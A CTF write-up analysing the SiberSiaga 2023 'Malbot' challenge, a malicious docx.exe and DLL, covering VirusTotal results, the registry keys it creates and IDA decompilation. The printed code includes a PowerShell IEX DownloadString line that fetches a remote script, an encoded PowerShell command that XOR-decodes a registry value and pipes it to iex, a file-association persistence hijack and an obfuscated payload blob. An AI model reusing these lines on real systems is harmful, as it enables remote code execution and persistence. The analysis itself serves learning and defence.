Siber Siaga 2023 Writeup [Malbot]

tired

This is the hardest challenge I have ever done and it was given to our team (DinoDefend3rs) during SiberSiaga 2023. However, as a challenge creator, I have made a very hard challenge as well! Check out how I made it here!

Anyways this is one of the challenges I call a PTSD challenge as we were so close to solving it but didn’t. However, we did find out how to get the flag after the CTF has ended. This challenge was made by Fareed Fauzi from NetByteSec, one of the sponsors of SiberSiaga 2023. So, with that said let’s get on with the challenge!


Dynamic Analysis

files-given

The files given was an executable file disguised as a Word document and a Dynamic-link library (DLL) file.


getting-hash

Using FlareVM, we can get the MD5 hash of the executable through a few clicks.


copying-hash

We then copy the MD5 hash and put it through VirusTotal, an online service that analyses files and URLs for malware, using multiple antivirus engines and website scanners.


vt-report-1

As suspected, the executable is marked as malicious.


vt-report-2

Analysing the MITRE ATT&CK section, we can see that the executable links a function which may indicate that the DLL file might be used by the executable. As mentioned before, the malware disguises itself as a Word document. This was done with a double extension docx.exe, the exe extension is not visible if the option Show File Extensions is not enabled within File Explorer.


vt-report-3

Knowing that the DLL file is used, the same process is used to analyse the DLL file in VirusTotal. As suspected again, the DLL file is malicious.


vt-report-4

However, the MITRE ATT&CK section displays a lot more detail. There are PowerShell commands executed when the function is called. Furthermore, there are registry keys being changed and created for persistence and privilege escalation purposes. Furthermore, the XOR encryption method is used to bypass antivirus detection. Lastly, to bypass online sandboxes, the malware contains sleep functions.


vt-report-5

As mentioned before, registry keys were created. Going down the VirusTotal report shows us what registry keys were created. As the MITRE ATT&CK section stated, there are PowerShell commands listed here! More analysis on that will be done later as the command is not complete.


executing-1

Executing the executable on FlareVM, give us a warning whether the user wants to launch the malware.


executing-2

If the user enters “yes”, a message box saying Welcome to SiberSiaga 2023 and the title SiberSiaga 2023 is displayed.


registry-1

As the VirusTotal report stated, there were some registry created, so let’s view those registries and see what we can find! As shown there are 2 registry keys under

HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command

registry-2

Furthermore, another key is found under HKEY_CLASSES_ROOT\.sibersiaga. Further analysis on these registry keys will be done and explained later on.


Static Analysis

First of all, I want to mention that I am not a reverse engineer at the time of the CTF. However, doing more CTFs and learning from others, I am able to do some basic reversing now.


Kertas Kerja Siber Siaga.docx.exe

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  size_t v4; // rax
  char *v5; // rcx
  __int64 v6; // rax
  char v7; // cl
  HMODULE LibraryW; // rax
  HMODULE v9; // rbx
  void (*function_101009)(void); // rax
  char Buffer[16]; // [rsp+20h] [rbp-28h] BYREF

  sub_140001010("This binary has been created specifically for the SiberSiaga 2023 CTF.\n");
  sub_140001010("This is a malware. Please run in a safe environment.\n");
  sub_140001010("Proceed to run? Yes or no: ");
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 10, v3);
  v4 = strcspn(Buffer, "\n");
  if ( v4 >= 0xA )
    _report_rangecheckfailure();
  Buffer[v4] = 0;
  if ( Buffer[0] == 110 && Buffer[1] == 111 && !Buffer[2] )
  {
    v5 = "Exiting program.\n";
LABEL_14:
    sub_140001010(v5);
  }
  else
  {
    v6 = 0i64;
    do
    {
      v7 = Buffer[v6++];
      if ( v7 != aYes[v6 - 1] )
      {
        v5 = "Invalid input. Please enter 'yes' or 'no'.\n";
        goto LABEL_14;
      }
    }
    while ( v6 != 4 );
    LibraryW = LoadLibraryW(L"MSVCR100.dll");
    v9 = LibraryW;
    if ( LibraryW )
    {
      function_101009 = (void (*)(void))GetProcAddress(LibraryW, "function_101009");
      if ( function_101009 )
        function_101009();
      FreeLibrary(v9);
    }
  }
  return 0;
}

Loading the executable into IDA, we can see strings that appeared previously. The flow is as follows:

  1. Strings This binary has been created..., This is malware... and Proceed to run... will be printed out.
  2. If the input is no as denoted by the strings in Buffer[0] and Buffer[1], the program will exit.
  3. Otherwise, the DLL file will be loaded and function_101009 will be executed.

So, exactly what we saw in the dynamic analysis phase!


MSVCR100.dll

main-function

Now, loading the DLL file into IDA, we see nothing within the main function. However, the executable did not call main did it? It called function_101009.


void function_101009()
{
  unsigned __int64 i; // rcx
  LPCWSTR *v1; // rax
  unsigned __int64 j; // rcx
  LPCWSTR *v3; // rax
  const WCHAR *title; // r8
  const WCHAR *textContent; // rdx
  WCHAR *v6; // rcx
  WCHAR *v7; // rcx
  LPCWSTR lpCaption[2]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v9; // [rsp+30h] [rbp-40h]
  unsigned __int64 v10; // [rsp+38h] [rbp-38h]
  LPCWSTR lpText[2]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v12; // [rsp+50h] [rbp-20h]
  unsigned __int64 v13; // [rsp+58h] [rbp-18h]

  // XOR function
  sub_180001ED0(lpText, L"Ugnamog\"vm\"Qk`gpQkcec\"0201");
  for ( i = 0i64; i < v12; ++i )
  {
    v1 = lpText;
    if ( v13 >= 8 )
      v1 = (LPCWSTR *)lpText[0];
    *((_WORD *)v1 + i) ^= 2u;
  }

  // XOR function
  sub_180001ED0(lpCaption, L"PjafqPjbdb#1310");
  for ( j = 0i64; j < v9; ++j )
  {
    v3 = lpCaption;
    if ( v10 >= 8 )
      v3 = (LPCWSTR *)lpCaption[0];
    *((_WORD *)v3 + j) ^= 3u;
  }
  title = (const WCHAR *)lpCaption;
  textContent = (const WCHAR *)lpText;
  if ( v10 >= 8 )
    title = lpCaption[0];
  if ( v13 >= 8 )
    textContent = lpText[0];

  // Creates a MessageBox
  MessageBoxW(0i64, textContent, title, 0x40u);

  // Executes function_101010
  function_101010();
  if ( v10 >= 8 )
  {
    v6 = (WCHAR *)lpCaption[0];
    if ( 2 * v10 + 2 >= 0x1000 )
    {
      v6 = (WCHAR *)*((_QWORD *)lpCaption[0] - 1);
      if ( (unsigned __int64)((char *)lpCaption[0] - (char *)v6 - 8) > 0x1F )
LABEL_20:
        invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v6);
  }
  v9 = 0i64;
  v10 = 7i64;
  LOWORD(lpCaption[0]) = 0;
  if ( v13 >= 8 )
  {
    v7 = (WCHAR *)lpText[0];
    if ( 2 * v13 + 2 >= 0x1000 )
    {
      v7 = (WCHAR *)*((_QWORD *)lpText[0] - 1);
      if ( (unsigned __int64)((char *)lpText[0] - (char *)v7 - 8) > 0x1F )
        goto LABEL_20;
    }
    j_j_free(v7);
  }
}

Opening function_101009, code is everywhere but I tried to simplify it for your eyes. You’re welcome!


<--- SNIP --->   
for ( i = 0i64; i < v12; ++i )
  {
    v1 = lpText;
    if ( v13 >= 8 )
      v1 = (LPCWSTR *)lpText[0];
    *((_WORD *)v1 + i) ^= 2u;
  }
<--- SNIP --->

The main thing we should see is this particular function as this will appear everywhere later on the analysis. Basically this is a XOR function, iterating over a string will a key which will change for later functions. However, for this case, it is XORed with 2 as the key.

In function_101009, these strings are XORed with different keys:

Ugnamog\"vm\"Qk`gpQkcec\"0201
PjafqPjbdb#1310

With this, we can write a Python script to decrypt the string.

def xor_decoder(encoded_string, xor_value=2):
    decoded_chars = [chr(ord(char) ^ xor_value) for char in encoded_string]
    return ''.join(decoded_chars)

msgbox-string

The first string is decrypted and the output string is Welcome to SiberSiaga 2023 which was displayed on the message box just now!


msgbox-title

The second strings is revealed to be the text on the title of the message box, SiberSiaga 2023. In the decompiled code, it shows that after the message box is displayed, function_101010 is called.


void function_101010()
{
  unsigned __int64 i; // rcx
  LPCWSTR *v1; // rax
  const WCHAR *v2; // rdx
  const BYTE *v3; // rcx
  unsigned __int64 j; // rcx
  LPCWSTR *v5; // rax
  const WCHAR *ps_key; // rdx
  const BYTE *ps_download_value; // rcx
  unsigned __int64 k; // rcx
  LPCWSTR *dot_ss_xor; // rax
  unsigned __int64 m; // rcx
  BYTE **ss_file_xor; // rax
  const WCHAR *dot_ss_key; // rdx
  const BYTE *ss_file_key; // rcx
  unsigned __int64 n; // rcx
  LPCWSTR *command_open_xor; // rax
  const WCHAR *command_open_subkey; // rdx
  const BYTE *ps_script_key; // rcx
  unsigned __int64 ii; // rcx
  LPCWSTR *v19; // rax
  unsigned __int64 jj; // rcx
  BYTE **sus_string_xored; // rax
  const WCHAR *v22; // rdx
  const BYTE *sus_string_reg; // rcx
  BYTE *v24; // rcx
  WCHAR *v25; // rcx
  BYTE *v26; // rcx
  WCHAR *v27; // rcx
  BYTE *v28; // rcx
  WCHAR *v29; // rcx
  BYTE *v30; // rcx
  WCHAR *v31; // rcx
  BYTE *v32; // rcx
  WCHAR *v33; // rcx
  HKEY hKey; // [rsp+50h] [rbp-B0h] BYREF
  HKEY v35; // [rsp+58h] [rbp-A8h] BYREF
  HKEY v36; // [rsp+60h] [rbp-A0h] BYREF
  HKEY v37; // [rsp+68h] [rbp-98h] BYREF
  HKEY v38; // [rsp+70h] [rbp-90h] BYREF
  BYTE *sus_string[2]; // [rsp+78h] [rbp-88h] BYREF
  unsigned __int64 v40; // [rsp+88h] [rbp-78h]
  unsigned __int64 v41; // [rsp+90h] [rbp-70h]
  BYTE *ss_file[2]; // [rsp+98h] [rbp-68h] BYREF
  unsigned __int64 v43; // [rsp+A8h] [rbp-58h]
  unsigned __int64 v44; // [rsp+B0h] [rbp-50h]
  LPCWSTR v45[2]; // [rsp+B8h] [rbp-48h] BYREF
  unsigned __int64 v46; // [rsp+C8h] [rbp-38h]
  unsigned __int64 v47; // [rsp+D0h] [rbp-30h]
  LPCWSTR command_open[2]; // [rsp+D8h] [rbp-28h] BYREF
  unsigned __int64 v49; // [rsp+E8h] [rbp-18h]
  unsigned __int64 v50; // [rsp+F0h] [rbp-10h]
  LPCWSTR dot_ss[2]; // [rsp+F8h] [rbp-8h] BYREF
  unsigned __int64 v52; // [rsp+108h] [rbp+8h]
  unsigned __int64 v53; // [rsp+110h] [rbp+10h]
  LPCWSTR v54[2]; // [rsp+118h] [rbp+18h] BYREF
  unsigned __int64 v55; // [rsp+128h] [rbp+28h]
  unsigned __int64 v56; // [rsp+130h] [rbp+30h]
  LPCWSTR lpSubKey[2]; // [rsp+138h] [rbp+38h] BYREF
  unsigned __int64 v58; // [rsp+148h] [rbp+48h]
  unsigned __int64 v59; // [rsp+150h] [rbp+50h]
  BYTE *ps_script[2]; // [rsp+158h] [rbp+58h] BYREF
  __m128i si128; // [rsp+168h] [rbp+68h]
  BYTE *ps_download[2]; // [rsp+178h] [rbp+78h] BYREF
  __m128i v63; // [rsp+188h] [rbp+88h]
  BYTE *lpData[2]; // [rsp+198h] [rbp+98h] BYREF
  __m128i v65; // [rsp+1A8h] [rbp+A8h]
  __int128 pExceptionObject; // [rsp+1B8h] [rbp+B8h] BYREF
  __int64 v67; // [rsp+1C8h] [rbp+C8h]
  WCHAR ValueName[8]; // [rsp+1D0h] [rbp+D0h] BYREF
  WCHAR ss_subkey[12]; // [rsp+1E0h] [rbp+E0h] BYREF
  _OWORD v70[2]; // [rsp+1F8h] [rbp+F8h] BYREF
  __int64 v71; // [rsp+218h] [rbp+118h]
  int v72; // [rsp+220h] [rbp+120h]
  __int16 v73; // [rsp+224h] [rbp+124h]
  __int128 v74[6]; // [rsp+230h] [rbp+130h] BYREF
  int v75; // [rsp+290h] [rbp+190h]
  __int16 v76; // [rsp+294h] [rbp+194h]

  pExceptionObject = xmmword_1800032C0;
  v67 = 0x76006C0067i64;
  sub_180001ED0(lpSubKey, &pExceptionObject);
  for ( i = 0i64; i < v58; ++i )
  {
    v1 = lpSubKey;
    if ( v59 >= 8 )
      v1 = (LPCWSTR *)lpSubKey[0];
    *((_WORD *)v1 + i) ^= 2u;
  }
  wcscpy(ValueName, L"GUID");
  sub_180001ED0(lpData, &word_1800032E4);
  v2 = (const WCHAR *)lpSubKey;
  if ( v59 >= 8 )
    v2 = lpSubKey[0];
  if ( RegCreateKeyExW(HKEY_CURRENT_USER, v2, 0, 0i64, 0, 0x20006u, 0i64, &hKey, 0i64) )
  {
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  v3 = (const BYTE *)lpData;
  if ( v65.m128i_i64[1] >= 8ui64 )
    v3 = lpData[0];
  if ( RegSetValueExW(hKey, ValueName, 0, 1u, v3, 2 * v65.m128i_i32[0]) )
  {
    RegCloseKey(hKey);
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  RegCloseKey(hKey);
  pExceptionObject = xmmword_1800032C0;
  v67 = 0x76006C0067i64;
  sub_180001ED0(v54, &pExceptionObject);
  for ( j = 0i64; j < v55; ++j )
  {
    v5 = v54;
    if ( v56 >= 8 )
      v5 = (LPCWSTR *)v54[0];
    *((_WORD *)v5 + j) ^= 2u;
  }
  v72 = 7602288;
  v70[0] = xmmword_1800032F0;
  v73 = 0;
  v71 = 0x69007200630053i64;
  v70[1] = xmmword_180003300;

  // Downloads PowerShell script
  sub_180001ED0(
    ps_download,
    L"powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f"
     "9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1')");
  ps_key = (const WCHAR *)v54;
  if ( v56 >= 8 )
    ps_key = v54[0];

  // Creates a key for the PowerShell download
  if ( RegCreateKeyExW(HKEY_CURRENT_USER, ps_key, 0, 0i64, 0, 0x20006u, 0i64, &v35, 0i64) )
  {
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  ps_download_value = (const BYTE *)ps_download;
  if ( v63.m128i_i64[1] >= 8ui64 )
    ps_download_value = ps_download[0];

  // Sets ps_download as the value for the key
  if ( RegSetValueExW(v35, (LPCWSTR)v70, 0, 1u, ps_download_value, 2 * v63.m128i_i32[0]) )
  {
    RegCloseKey(v35);
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  RegCloseKey(v35);

  // XOR function for SOFTWARE\\Classes\\.sibersiaga
  sub_180001ED0(dot_ss, L"WKBPSEVAXXGhewwawXX*wmfavwmece");
  for ( k = 0i64; k < v52; ++k )
  {
    dot_ss_xor = dot_ss;
    if ( v53 >= 8 )
      dot_ss_xor = (LPCWSTR *)dot_ss[0];
    *((_WORD *)dot_ss_xor + k) ^= 4u;
  }

  // XOR function for sibersiagafile
  sub_180001ED0(ss_file, L"wmfavwmecebmha");
  for ( m = 0i64; m < v43; ++m )
  {
    ss_file_xor = ss_file;
    if ( v44 >= 8 )
      ss_file_xor = (BYTE **)ss_file[0];
    *((_WORD *)ss_file_xor + m) ^= 4u;
  }
  dot_ss_key = (const WCHAR *)dot_ss;
  if ( v53 >= 8 )
    dot_ss_key = dot_ss[0];

  // Created key in HKEY_CURRENT_USER\SOFTWARE\Classes\.sibersiaga
  if ( RegCreateKeyExW(HKEY_CURRENT_USER, dot_ss_key, 0, 0i64, 0, 0x20006u, 0i64, &v36, 0i64) )
  {
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  ss_file_key = (const BYTE *)ss_file;
  if ( v44 >= 8 )
    ss_file_key = ss_file[0];

  // Sets the sibersiagafile as the value for the key
  if ( RegSetValueExW(v36, 0i64, 0, 1u, ss_file_key, 2 * v43) )
  {
    RegCloseKey(v36);
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  RegCloseKey(v36);

  // XOR function for SOFTWARE\\Classes\\sibersiagafile\\shell\\open\\command
  sub_180001ED0(command_open, L"VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka");
  for ( n = 0i64; n < v49; ++n )
  {
    command_open_xor = command_open;
    if ( v50 >= 8 )
      command_open_xor = (LPCWSTR *)command_open[0];
    *((_WORD *)command_open_xor + n) ^= 5u;
  }

  // Suspicious PowerShell Script
  sub_180001ED0(
    ps_script,
    L"powershell.exe -enc WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkA"
     "bgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAA"
     "nAFIAZQBnAGkAcwB0AHIAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQBmAGkAbABlAF"
     "wAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgACcAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAa"
     "QBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQgBlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAg"
     "AC0AYgB4AG8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA=");
  command_open_subkey = (const WCHAR *)command_open;
  if ( v50 >= 8 )
    command_open_subkey = command_open[0];

  // Creates a key in SOFTWARE\Classes\sibersiagafile\shell\open\command
  // It determines what action is taken when a file type is opened
  if ( RegCreateKeyExW(HKEY_CURRENT_USER, command_open_subkey, 0, 0i64, 0, 0x20006u, 0i64, &v37, 0i64) )
  {
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  ps_script_key = (const BYTE *)ps_script;
  if ( si128.m128i_i64[1] >= 8ui64 )
    ps_script_key = ps_script[0];

  // Sets the PowerShell script as the value
  if ( RegSetValueExW(v37, 0i64, 0, 1u, ps_script_key, 2 * si128.m128i_i32[0]) )
  {
    RegCloseKey(v37);
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  RegCloseKey(v37);
  v74[0] = xmmword_180003AC0;
  v74[1] = xmmword_180003AD0;
  v74[2] = xmmword_180003AE0;
  v74[3] = xmmword_180003AF0;
  v75 = 6684780;
  v74[4] = xmmword_180003B00;
  v74[5] = xmmword_180003B10;
  v76 = 0;
  sub_180001ED0(v45, v74);
  for ( ii = 0i64; ii < v46; ++ii )
  {
    v19 = v45;
    if ( v47 >= 8 )
      v19 = (LPCWSTR *)v45[0];
    *((_WORD *)v19 + ii) ^= 2u;
  }
  wcscpy(ss_subkey, L"sibersiaga");

  // Suspicious String
  sub_180001ED0(
    sus_string,
    L"U3H5aJ@ec{nE`J6nZ0j:gZn{f2L5dJjhTZj2glv6`GKcE1DEP3@WVnzSgnnFUWDOZ32RazuZ[nvNACeXG@;sWxLua0DmXzKpM0vocP:)Klz{gD;XaAG7"
     "RF21X1nscUztTnnVU3LaZA[rNx:RASu)NQ[AIzi4EiWeQnPOQV[TVjRq7qpG3)c-25)zsKcEsgdppcUirIUim4QjsHgPwRF1)70HzfMGj)5q4-{S;)l"
     "F0O`A1vxg2ftAnXkW3LpP0H5sqIUhv4Jq4HI6pcw-saFG45giw5d24R`-t4l4)XQUl[pctcgLim{WkKcGh6U[x:5AlrAdnvQQe74a2LQakXQc:emnc1"
     "O7`JPsIAvkd1j;dVW-Rlv3f1r6aZD)LJX7OlftCkumNk6mNG7MCSmESiHcFzj-T2SXgnPfZTrME0;GVWqnNEuZNFahHkueHAzkCFq5LQn4fxK2MkS;f"
     "Zr-M{e1M2nKVFSDF@Km@ezAUiTGDUH4WTHVT@CMJez2aCXzfzaXsIZt4wAns)`o5cst4-hl45lsl7o2v`c1:gt1w5JK5RcCe:pZ2LZTl[gE{;tDe;pI"
     "1LVTufZ[oLhI1rZX2:ocn)Q3pckjs)-mw4{ip6Emt`{zvpdqv501m6gutw`6;ds0jOhGn6EfivpOhr)AkO1W3fFTn70Ax5U6vcotp5otqN7LPAK7RkW"
     "k`lergE7t[o@jfZHoflC2L@mQX@aPgZDvge@cN{iG@S[JFG7dSieLGu;pTifcWEeOFZXaVZzHTDmZcU:nLk2jQ23mcUrpJ{e4[jinLx6GHxilRQqwKl"
     "z-DjShLDe-KSqSFjmE@C[HCzrLWDuaGjiSTnW-NFO-Zn3VAgJv;)cimgJ{6g0Jec{vps-76-)xwaFi-pk5:w-m5g0nh65F2:0N2qNGxO1XxaACuONUl"
     "fJ`uXIdlO1T2LlVn7AxrI{lkcA3vIowp-Qtrc)5h5k05tF;:p4::R{twcUs6qQEn6sCzfxf{O0RjXpZpcA;mcglqcg6vpU:0qJE1fsUaADqXlOnXUjo"
     "X0;mgEPj[VGxJznrE@z)dhG)flT7RhHHWizOWCT;ViXffuHZKASRG@GQD3naWjaDESm0LiCxLVarI{:j`ZfwO2PCc0zv`juiOAClgS[4Oh2rgo3qXnL"
     "TSGDAS2uODCrKPF:X@W3O@uSDCe@MUniUA@@WFziPEzh{6M)v4-djsMpo-s)isdpe)-V:wpt{:)RL4d544Rhvt[oR2O`Z2OpV3KxPrscLhm)SiXIVnL"
     "xSn7Af3;N[lXRVvMJolMsuvsMrtc)Wrcll54ta0RR2;d`1)Rl4)-x;-twLkK`guNpKirkLk7)HqmgN{-x62;VT3vd[0fp`1L1g007e`0[mKZHog0K1N"
     "3Oh[0rh[lL2aVvkao@vMhXt`ZH0TCGCCz6d@eWVHACNFC2MFzCPGjOWDPXgZjiQEzSXWD6vHEHwIAuvKojvKxvn`UOeKlD4fxm2MxH6fF[{Lxj)guWR"
     "DDilIkq1RV2tMQKqK{rXWT:a@nTgWz[[Dz7aW@KU4)Qkr)Ru5)Mjscdi-s0os-5u--c2wRp):-{4wd1z:p0HkKN[sc)Ej6kHkmwOh[4RiHEQi7QTivp"
     "f{qlc0;kgewFn4wgurNUq4NZsmso37-1w;)RxsRUXmsx2kc)wvNA60)xmu:VDzqdK{apNxO1Mx;FP2rsQ3f5T0vlZlm1f0rHnalDk[0CtdCWFIkqqNQ"
     "6tOFG{OxS3Lha6MVm5RF24aiTQWWHFS@qDdGjXSCzrSWDTG@C)RjWUDzeXEjqaJP6d[EDk[0S6Q23mcUrp`E3w`1@zalL2fZX1dFvlc0fSTJ;CSWHFP"
     "GTEP2jHQivOVW6[E@egDnPfWjT[T@[RZDiVEtR{6)Vjs:pk7w5)64Uv;[Icq`IxvNU0v5k7wpw:t`4-eKEAe6Q@z[gTkX4`lH0TmpsPirMWnXcZoHoc"
     "o7{flr-e6gNh7I{e7)Fj5shq7w5pqth{-pMj;tM3tIomt`s5:c{GhKQSha)axKpZx6EKlX{PnrdfwHA[iK{P0v5a{a5ROJuRAQSnHkamIQmpNA2wNxC"
     "zOhO2LV[1aUv1MxDK`J[CC2rZWDTTJSaEQ3vDC3rIZDPTSTT[EDjIZjTXW2icD0S3NQejI0;mM{uiNuGmRVuzLhfqLx21KuauRoX6fZm0@GjGDuGfGn"
     "rOFj:AAG3WTT@TDz2AVxW6LQitNxitOF5LzII7tsUk5tkr4)Z-)wt;qRx16Md2:dI6m5s-vNl@qa1G2fFDuqMHzaxX0O1I{-FX3XtV0rEgi;Za{ahf0"
     "vwPi5QeqNA1p4ot6g4r6Mov7tlx1;l2;d`1)Rl4)-x;-t-CuaNFzOZEz:{Nuf`KhwRn2LJQ2;VT3vd[0fp`1L1g112OAAOiHQ[lIAisI{uvNlKfExKx"
     "LFW0Lxe7Xz[URV6-CCGACuP0S3OD[D7MSZ3aSG@WSGfLDPP-a1rtCU@6WGirO{2vIQCmO0rrX{WvKAvtaeSkLxWjO1T6fAu4OAe5d2SOAufr`2XJQGiZXo[S");
  for ( jj = 0i64; jj < v40; ++jj )
  {
    sus_string_xored = sus_string;
    if ( v41 >= 8 )
      sus_string_xored = (BYTE **)sus_string[0];
    *((_WORD *)sus_string_xored + jj) ^= 2u;
  }
  v22 = (const WCHAR *)v45;
  if ( v47 >= 8 )
    v22 = v45[0];

  // Creates a key for the suspicious string
  if ( RegCreateKeyExW(HKEY_CURRENT_USER, v22, 0, 0i64, 0, 0x20006u, 0i64, &v38, 0i64) )
  {
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  sus_string_reg = (const BYTE *)sus_string;
  if ( v41 >= 8 )
    sus_string_reg = sus_string[0];

  // Sets the suspicious string as the value of the key
  if ( RegSetValueExW(v38, ss_subkey, 0, 1u, sus_string_reg, 2 * v40) )
  {
    RegCloseKey(v38);
    sub_1800011C0(&pExceptionObject);
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI2_AVruntime_error_std__);
  }
  RegCloseKey(v38);
  if ( v41 >= 8 )
  {
    v24 = sus_string[0];
    if ( 2 * v41 + 2 >= 0x1000 )
    {
      v24 = (BYTE *)*((_QWORD *)sus_string[0] - 1);
      if ( (unsigned __int64)(sus_string[0] - v24 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v24);
  }
  v40 = 0i64;
  v41 = 7i64;
  LOWORD(sus_string[0]) = 0;
  if ( v47 >= 8 )
  {
    v25 = (WCHAR *)v45[0];
    if ( 2 * v47 + 2 >= 0x1000 )
    {
      v25 = (WCHAR *)*((_QWORD *)v45[0] - 1);
      if ( (unsigned __int64)((char *)v45[0] - (char *)v25 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v25);
  }
  v46 = 0i64;
  v47 = 7i64;
  LOWORD(v45[0]) = 0;
  if ( si128.m128i_i64[1] >= 8ui64 )
  {
    v26 = ps_script[0];
    if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
    {
      v26 = (BYTE *)*((_QWORD *)ps_script[0] - 1);
      if ( (unsigned __int64)(ps_script[0] - v26 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v26);
  }
  LOWORD(ps_script[0]) = 0;
  si128 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
  if ( v50 >= 8 )
  {
    v27 = (WCHAR *)command_open[0];
    if ( 2 * v50 + 2 >= 0x1000 )
    {
      v27 = (WCHAR *)*((_QWORD *)command_open[0] - 1);
      if ( (unsigned __int64)((char *)command_open[0] - (char *)v27 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v27);
  }
  v49 = 0i64;
  v50 = 7i64;
  LOWORD(command_open[0]) = 0;
  if ( v44 >= 8 )
  {
    v28 = ss_file[0];
    if ( 2 * v44 + 2 >= 0x1000 )
    {
      v28 = (BYTE *)*((_QWORD *)ss_file[0] - 1);
      if ( (unsigned __int64)(ss_file[0] - v28 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v28);
  }
  v43 = 0i64;
  v44 = 7i64;
  LOWORD(ss_file[0]) = 0;
  if ( v53 >= 8 )
  {
    v29 = (WCHAR *)dot_ss[0];
    if ( 2 * v53 + 2 >= 0x1000 )
    {
      v29 = (WCHAR *)*((_QWORD *)dot_ss[0] - 1);
      if ( (unsigned __int64)((char *)dot_ss[0] - (char *)v29 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v29);
  }
  v52 = 0i64;
  v53 = 7i64;
  LOWORD(dot_ss[0]) = 0;
  if ( v63.m128i_i64[1] >= 8ui64 )
  {
    v30 = ps_download[0];
    if ( (unsigned __int64)(2 * v63.m128i_i64[1] + 2) >= 0x1000 )
    {
      v30 = (BYTE *)*((_QWORD *)ps_download[0] - 1);
      if ( (unsigned __int64)(ps_download[0] - v30 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v30);
  }
  LOWORD(ps_download[0]) = 0;
  v63 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
  if ( v56 >= 8 )
  {
    v31 = (WCHAR *)v54[0];
    if ( 2 * v56 + 2 >= 0x1000 )
    {
      v31 = (WCHAR *)*((_QWORD *)v54[0] - 1);
      if ( (unsigned __int64)((char *)v54[0] - (char *)v31 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v31);
  }
  v55 = 0i64;
  v56 = 7i64;
  LOWORD(v54[0]) = 0;
  if ( v65.m128i_i64[1] < 8ui64 )
    goto LABEL_95;
  v32 = lpData[0];
  if ( (unsigned __int64)(2 * v65.m128i_i64[1] + 2) >= 0x1000 )
  {
    v32 = (BYTE *)*((_QWORD *)lpData[0] - 1);
    if ( (unsigned __int64)(lpData[0] - v32 - 8) > 0x1F )
LABEL_98:
      invalid_parameter_noinfo_noreturn();
  }
  j_j_free(v32);
LABEL_95:
  LOWORD(lpData[0]) = 0;
  v65 = _mm_load_si128((const __m128i *)&xmmword_180004F90);
  if ( v59 >= 8 )
  {
    v33 = (WCHAR *)lpSubKey[0];
    if ( 2 * v59 + 2 >= 0x1000 )
    {
      v33 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
      if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v33 - 8) > 0x1F )
        goto LABEL_98;
    }
    j_j_free(v33);
  }
}

Wewwww, going into function_101010, there is a lot going on. However, being an amateur reverse engineer, I renamed some of the variables and commented the functions to ease your eyes.

So first of all, there are some suspicious strings used within the functions. With that said, let’s analyse the strings.


The first string that we’re analysing is a PowerShell command used to download a PowerShell script from

https://gist.githubusercontent.com/fareedfauzi/de74bb93f6f9fb98038dac71ea8977e4/raw/8040d8274d0c8d9cb28e80dc4cab1b49d79c86d5/sibersiaga-ctf.ps1

